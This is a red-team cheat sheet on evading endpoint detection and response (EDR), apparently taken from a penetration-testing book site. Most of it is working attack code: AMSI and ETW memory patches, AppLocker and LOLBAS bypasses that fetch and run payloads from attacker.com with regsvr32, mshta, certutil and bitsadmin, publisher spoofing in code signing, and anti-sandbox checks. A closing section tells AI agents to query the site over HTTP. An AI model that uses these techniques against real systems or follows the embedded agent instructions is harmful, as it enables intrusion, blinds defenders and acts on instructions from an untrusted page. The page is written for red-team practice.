# RT/EDR

## Resources

```bash
# Attacking EDR series
https://riccardoancarani.github.io/2023-08-03-attacking-an-edr-part-1/
https://riccardoancarani.github.io/2023-09-14-attacking-an-edr-part-2/
https://riccardoancarani.github.io/2023-11-07-attacking-an-edr-part-3/
https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/
https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/
https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/
https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine/

# Syscalls
https://www.darkrelay.com/post/stealth-syscall-execution-bypass-edr-detection

# Resources compilation
https://github.com/tkmru/awesome-edr-bypass

# File sharing
https://www.lolfs.app/
```

## AMSI Bypass Techniques

### PowerShell AMSI Bypass

```powershell
# Simple bypass (may be detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Obfuscated version
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

# Memory patching
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

# Online generator (use with caution - may be flagged)
# https://amsi.fail/
```

### .NET AMSI Bypass

```csharp
// Patch amsi.dll in memory
using System;
using System.Runtime.InteropServices;

public class Bypass
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void Run()
    {
        IntPtr lib = LoadLibrary("amsi.dll");
        IntPtr addr = GetProcAddress(lib, "AmsiScanBuffer");
        uint oldProtect;
        VirtualProtect(addr, (UIntPtr)5, 0x40, out oldProtect);
        byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        Marshal.Copy(patch, 0, addr, 6);
    }
}
```

## ETW Patching

```powershell
# ETW (Event Tracing for Windows) logs .NET assembly loads
# Patch to blind defenders

$code = @"
using System;
using System.Runtime.InteropServices;

public class Etw
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void Patch()
    {
        IntPtr lib = LoadLibrary("ntdll.dll");
        IntPtr addr = GetProcAddress(lib, "EtwEventWrite");
        uint oldProtect;
        VirtualProtect(addr, (UIntPtr)1, 0x40, out oldProtect);
        Marshal.WriteByte(addr, 0xC3); // ret
    }
}
"@
Add-Type $code
[Etw]::Patch()
```

## Syscall Techniques

### Direct Syscalls

```csharp
// Bypass user-mode hooks by calling syscalls directly
// Each Windows version has different syscall numbers

// Example: NtAllocateVirtualMemory syscall
// Windows 10: 0x18
// Windows 11: 0x18 (may vary)

// SysWhispers/SysWhispers2/SysWhispers3
// https://github.com/jthuraisamy/SysWhispers
// https://github.com/klezVirus/SysWhispers3
```

### Hell's Gate

```
// Dynamic syscall resolution at runtime
// https://github.com/am0nsec/HellsGate

// Technique: Read syscall number from ntdll.dll on disk
// Avoids hardcoded syscall numbers
// Bypasses user-mode hooks
```

### Halo's Gate

```
// Similar to Hell's Gate but handles hooked functions
// https://blog.sektor7.net/#!res/2021/halosgate.md

// If target syscall is hooked (JMP instruction)
// Look at neighboring syscalls to calculate correct number
```

## Process Injection Techniques

### Classic Injection

```csharp
// CreateRemoteThread injection
// Commonly detected by EDRs

// 1. OpenProcess
// 2. VirtualAllocEx
// 3. WriteProcessMemory
// 4. CreateRemoteThread

// Use direct syscalls to evade hooks
```

### Process Hollowing

```
// 1. Create suspended process
// 2. Unmap legitimate code
// 3. Write malicious code
// 4. Resume process

// Tools:
// https://github.com/m0n0ph1/Process-Hollowing
```

### Thread Hijacking

```
// 1. Open target process
// 2. Suspend thread
// 3. Get thread context
// 4. Modify RIP/EIP to point to shellcode
// 5. Resume thread

// More stealthy than CreateRemoteThread
```

### APC Injection

```
// Asynchronous Procedure Call injection
// Queue shellcode to run when thread enters alertable state

// 1. OpenProcess
// 2. VirtualAllocEx
// 3. WriteProcessMemory
// 4. QueueUserAPC

// NtQueueApcThread for early bird injection
```

### Module Stomping

```
// Load legitimate DLL
// Overwrite its memory with malicious code
// Execute from "legitimate" memory region

// Evades memory scanning looking for unbacked executable regions
```

### Process Ghosting

```csharp
// Modern technique (Windows 10+)
// 1. Create file on disk with malicious payload
// 2. Set file to delete-pending state (NtSetInformationFile with FileDispositionInformation)
// 3. Create section from delete-pending file
// 4. Delete file (now deleted but section still valid)
// 5. Create process from section
// 6. AV can't scan file - it's deleted but process runs

// Tools:
// https://github.com/hasherezade/process_ghosting
```

### Process Doppelganging

```csharp
// Uses NTFS transactions
// 1. Create transaction
// 2. Open target file within transaction
// 3. Overwrite file with malicious content (transacted)
// 4. Create section from transacted file
// 5. Rollback transaction (original file restored)
// 6. Create process from section

// Process appears to come from legitimate file
// https://github.com/hasherezade/process_doppelganging
```

### Process Herpaderping

```csharp
// 1. Write malicious payload to file
// 2. Create section from malicious file
// 3. Modify file on disk to look legitimate
// 4. Create process from section
// 5. AV scans modified file (benign), but malicious section executes

// https://github.com/jxy-s/herpaderping
```

### Transacted Hollowing

```csharp
// Combine process hollowing with NTFS transactions
// 1. Create transaction
// 2. Create process in suspended state
// 3. Within transaction, write malicious code to memory
// 4. Rollback transaction
// 5. Resume process

// Memory modifications are harder to track
```

## AppLocker/WDAC Bypass

### AppLocker Bypass Techniques

```powershell
# MSBuild bypass
# Create inline task with malicious code
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml

# payload.xml:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Build">
    <ClassExample />
  </Target>
  <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask {
            public override bool Execute() {
              System.Diagnostics.Process.Start("calc.exe");
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

```powershell
# InstallUtil bypass
# Requires .NET assembly with RunInstaller attribute
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

# Cscript/Wscript bypass
cscript //E:jscript C:\Windows\Temp\payload.txt

# Regsvr32 bypass (network)
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# WMIC bypass
wmic process call create "cmd /c calc.exe"

# Mshta bypass
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""calc.exe"":close")
mshta http://attacker.com/payload.hta

# Rundll32 bypass
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("calc.exe")
```

### WDAC (Windows Defender Application Control) Bypass

```powershell
# WDAC is more restrictive than AppLocker

# Check WDAC status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# Bypass via Microsoft-signed binaries (LOLBAS)
# https://lolbas-project.github.io/

# Bypass via unsigned policy (if misconfigured)
# Check for unsigned WDAC policy
Get-SystemDriver -SIPolicyPath | Where-Object {$_.IsEnforced -eq $false}

# Managed installer bypass (if configured)
# Applications installed via SCCM/Intune may be allowed

# ISG bypass (Intelligent Security Graph)
# Applications with good reputation may be allowed
# Use legitimate signed apps as carriers

# Filepath rules bypass
# If WDAC uses path rules, place payload in allowed directory
# Common allowed paths: C:\Windows\*, Program Files\*

# COM object hijacking
# If COM object is allowed, hijack it
# https://github.com/tyranid/DotNetToJScript
```

```powershell
# Enumerate WDAC policy
$policy = [System.IO.File]::ReadAllBytes("C:\Windows\System32\CodeIntegrity\SIPolicy.p7b")
# Or use CiTool
CiTool.exe --list-policies

# Check for exceptions
# Look for FilePathRule, Publisher rules with wildcards
ConvertFrom-CIPolicy -XmlFilePath policy.xml

# WDAC audit mode detection
# In audit mode, blocked apps still run but are logged
Get-WinEvent -LogName "Microsoft-Windows-CodeIntegrity/Operational" | Where-Object {$_.Id -eq 3076}
```

### Bypass Detection

```powershell
# Check what's blocked
Get-AppLockerPolicy -Effective -Xml | Out-File applocker.xml
Get-AppLockerFileInformation -EventLog | Sort-Object -Property TimeGenerated -Descending

# Find allowed paths
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Test if specific file would be allowed
Get-AppLockerFileInformation -Path "C:\malware.exe" | Test-AppLockerPolicy -PolicyPath applocker.xml
```

## Obfuscation Techniques

### String Obfuscation

```csharp
// XOR strings
byte[] encrypted = { 0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72 };
byte key = 0x42;
string decrypted = Encoding.ASCII.GetString(encrypted.Select(b => (byte)(b ^ key)).ToArray());

// Base64 encoding
string encoded = Convert.ToBase64String(Encoding.UTF8.GetBytes("AmsiScanBuffer"));
string decoded = Encoding.UTF8.GetString(Convert.FromBase64String(encoded));

// Caesar cipher, AES encryption, etc.
```

### Payload Encryption

```powershell
# AES encrypt payload
$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789ABCDEF")
$iv = [System.Text.Encoding]::UTF8.GetBytes("FEDCBA9876543210")

$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv

$encryptor = $aes.CreateEncryptor()
$plaintext = [System.Text.Encoding]::UTF8.GetBytes($payload)
$encrypted = $encryptor.TransformFinalBlock($plaintext, 0, $plaintext.Length)
```

### Code Signing

```bash
# Sign binaries with valid certificate
# More trusted by EDRs

# Self-signed (less effective)
makecert -r -pe -n "CN=Microsoft Corporation" -ss my -sr currentuser

# Stolen/purchased code signing cert
signtool sign /f cert.pfx /p password /t http://timestamp.server malware.exe
```

## EDR Detection Checks

```powershell
# Check for EDR processes
Get-Process | Where-Object {$_.ProcessName -match "MsMpEng|CrowdStrike|Carbon|Cylance|Tanium|SentinelOne|cb|defender"}

# Check for EDR services
Get-Service | Where-Object {$_.DisplayName -match "CrowdStrike|Carbon Black|Cylance|SentinelOne|Tanium|Defender"}

# Check loaded DLLs (hooks)
Get-Process -Id $PID | Select-Object -ExpandProperty Modules | Select-Object FileName

# Check for kernel callbacks
# Requires admin/driver
# https://github.com/br-sn/CheekyBlinder
```

## EDR Bypass Tools

```bash
# Donut - Shellcode generator
# https://github.com/TheWover/donut
donut -i payload.exe -o payload.bin

# Scarecrow - Payload generator
# https://github.com/optiv/ScareCrow
ScareCrow -I payload.bin -Loader binary -domain microsoft.com

# Nimcrypt2 - Packer
# https://github.com/icyguider/Nimcrypt2
nimcrypt2 -f payload.exe -o output.exe

# Freeze - Payload creation
# https://github.com/optiv/Freeze

# PEzor - PE packer
# https://github.com/phra/PEzor
PEzor.sh -sgn payload.exe -z 2 -unhook

# Shhhloader
# https://github.com/icyguider/Shhhloader

# Inceptor - Template-based evasion
# https://github.com/klezVirus/inceptor
```

## Living Off The Land (LOLBAS)

```powershell
# Use legitimate Windows binaries
# https://lolbas-project.github.io/

# Download files
certutil -urlcache -f http://attacker.com/payload.exe payload.exe
bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\Users\Public\payload.exe

# Execute code
mshta http://attacker.com/payload.hta
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -c IEX(cmd)")

# Compile/execute
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:payload.exe payload.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml
```

## Anti-Analysis Techniques

```csharp
// Check for debugging
if (System.Diagnostics.Debugger.IsAttached) Environment.Exit(0);

// Check for sandbox (low memory, single CPU)
if (Environment.ProcessorCount < 2) Environment.Exit(0);
if (new Microsoft.VisualBasic.Devices.ComputerInfo().TotalPhysicalMemory < 2147483648) Environment.Exit(0);

// Check for VM artifacts
string[] vmFiles = { "VBoxService.exe", "vmtoolsd.exe", "vmwaretray.exe" };
foreach (var p in Process.GetProcesses())
    if (vmFiles.Contains(p.ProcessName)) Environment.Exit(0);

// Time-based evasion (sleep to evade sandbox)
Thread.Sleep(120000); // 2 minutes

// User interaction required
MessageBox.Show("Click OK to continue"); // Won't work in automated sandbox
```

## Defensive Evasion Checklist

```
□ AMSI bypassed
□ ETW patched
□ Using direct syscalls
□ Strings obfuscated
□ Payload encrypted
□ No suspicious API call patterns
□ Parent process spoofed
□ Command line arguments hidden
□ Using legitimate process for injection
□ Signed binary (if possible)
□ Anti-sandbox checks implemented
□ Anti-debugging enabled
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/others/rt-edr.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
